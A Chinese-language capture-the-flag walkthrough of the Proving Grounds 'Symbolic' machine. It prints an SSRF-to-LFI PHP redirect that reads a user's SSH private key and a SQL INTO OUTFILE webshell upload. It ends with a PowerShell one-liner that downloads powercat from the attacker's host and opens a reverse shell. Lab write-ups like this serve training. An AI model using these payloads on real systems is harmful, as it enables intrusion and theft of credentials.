Proving Grounds Practice : Symbolic Walkthrough

Proving Grounds Practice : Symbolic Walkthrough

Foothole (立足點 ) :

Port Scan 只有開兩個 Port，80 是一個網頁轉 PDF 的線上工具
知道網站是用 php 語法建立，寫一個標準的讀 PDF 的 LFI 利用去讀到使用者的 id_rsa

PE ( 提權 ) :

這一題有許多提權解法，但是主機名稱叫做 Symbolic 表示要我們利用這個手法
下載無須 administrator 的 "CerateSymlink.exe" 工具建立 Symbolic Link
利用管理者備份的權限讀取管理者的 id_rsa 後 ssh 登入

注意事項 :

網頁的使用者名稱很特別
PE 有許多手法可以達成

phpmyadmin 上傳 webshell 然後透過 powershell 建立 reverse shell
透過 MySQL 使用 phoneinfo.dll payload 並執行 WerTrigger.exe 來達到 Reverse shell
透過 MySQL 直接讀取 administrator 的 id_rsa Private Key 然後 ssh 登入
透過 Symbolic Link 利用本機的備份讀取 administrator 的 id_rsa Private Key 然後 ssh 登入

第一步 Rustscan，└─$ rustscan -a 192.168.156.177 --scripts none --ulimit 5000 | tee rustscan

少見的只有兩個 Port，不是很難就是很簡單

snmp filtered 沒戲，└─$ sudo nmap -sU -Pn -p 161 192.168.156.177 | tee snmp

nmap，└─$ sudo nmap -sCV -A -Pn -p 22,80 192.168.156.177 | tee nmap

22 SSH 看來是一台 Windows

80 Apache httpd 2.4.48

|_http-title: WebPage to PDF : 從 Title 來看是個線上轉 PDF 網站

whatweb，是個 php 網站

80 /

Power by WkhtmltoPdf

Webpage to PDF Converter by p4yl0ad 這句話有貓膩，那個 p4ly0ad 看來是個帳號

看來是個可上傳利用或是送出驗證讓你抓的網站

80 /robots.txt

gobuster

80 /logs

request.log 檔案沒有任何內容

80 /pdfs 沒有任何東西

做一個 test.html 檔案內容如下

Kali 起 HTTP Service 輸入試試看

真的有來抓也顯示了一個 PDF

路徑顯示 : http://192.168.156.177/pdfs/9d4152f6e842ac1b07b42d16ae9faa78.pdf

80 /pdfs 路徑也有看到該檔案了

參考這個 SSRF to LFI 漏洞利用，一樣是透過讀 PDF 檔案的方式改去讀 Local 的檔案

https://zeroday.hitcon.org/vulnerability/ZD-2021-00781

寫一個 php 檔案去讀靶機的 local 檔案

在 linux 我們知道第一個要讀的都是 /etc/passwd 但這裡靶機是 Windows

且在前面有掃到這一台 Windows 有開 SSH Port，所以思考方向與 Linux 相同

就是去讀讀看有沒有使用者的 SSH Key，都是放在使用者目錄的 .ssh 底下

在 Windows 中路徑就是 c:\users\<使用者>\.ssh\id_rsa

在 80 網站首頁可以看到一個看來是使用的帳號 p4yl0ad

所以 php 檔案的寫法如下

<?php

header('Location: file:///Users/p4yl0ad/.ssh/id_rsa');

接著在靶機的網頁輸入 http://<kali IP>/index.php 去讀讀看

這裡 try & error 了好多失敗，最後是成功了但有幾個要特別注意的地方

- index.php 檔案要用 kali 本身其他存在的 php 檔案去編改，不要用文字檔新增去編寫

- 靶機來抓的時候用 python 起的 HTTP Server 會跳 Error

- 一定要起 Apache Server，因為預設網站才會跑 PHP 語言

一模一樣的檔案，上面用 Python 起的 HTTP Server 就失敗，最後跳 Error

下面用 Apache 服務啟動的 HTTP Server 才會成功

kali 起 Apache 很簡單，先安裝再啟動服務即可，兩行指令搞定

sudo apt install -y apache2 php

service apache2 start

- 網頁怎麼輸入都沒有成功，最後用 curl 去打成功了如下，指令 └─$ curl -i -s -k -XPOST --data-binary 'url=192.168.45.224%2Findex.php' 'http://192.168.156.177/Process.php'

可以看到順利升成的 PDF 檔案

內容就是 Private Key

將 Private Key 另存到 kali 取名叫 p4yl0ad.key 然後 SSH 試試看

└─$ ssh -i p4yl0ad@192.168.156.177，進去了

開始 PE，whoami /priv，看來沒有可利用的權限

winPEAS 相關資訊

沒有 LAPS

發現 administrator 帳號有在登入

BackupLogService 自動執行

匯入 PrivescCheck.ps1，參考 : https://github.com/itm4n/PrivescCheck

查看該服務的權限

在 C:\ 路徑下發現兩個有趣的資料夾 backup & xampp

backup 通常都是有 SAM & SYSTEM 的梗，這裡發現沒有但是有一個 backup.ps1

看一下內容發現是每 60 秒從 "C:\xampp\htdocs\logs\request.log" 備份到 "C:\backup\logs"

然後使用當下時間格式命名檔案

先放著繼續看 xmapp 資料夾發現有 phpmyadmin

有個 passowrd.txt 的檔案內容如下，發現 MySQL 用 Root 但不用密碼

現在有三個攻擊面向

1. phpmyadmin 直接利用

2. MySQL 看看有無可利用的地方

3. Backup.ps1 用 Administrator 權限執行

從簡單的下手先搭建 chisel 看看 phpmyadmin

不用密碼直接進去了

直接做一個 upload 的 php

SELECT 
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/xampp/htdocs/uploader.php';

確認 uploader.php 新增成功

有點問題，先暫時放棄

改使用現成的 webshell 試試看

參考 : https://github.com/WhiteWinterWolf/wwwolf-php-webshell

複製到 xampp 根目錄下，select load_file('C:\\\\users\\p4yl0ad\\desktop\\webshell.php') into dumpfile 'C:\\\\xampp\\htdocs\\webshell.php';

webshell.php

執行 Powershell 建立 Reverse Shell

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.224:8088/tools/powercat.ps1'); powercat -c 192.168.45.224 -p 4444 -e powershell"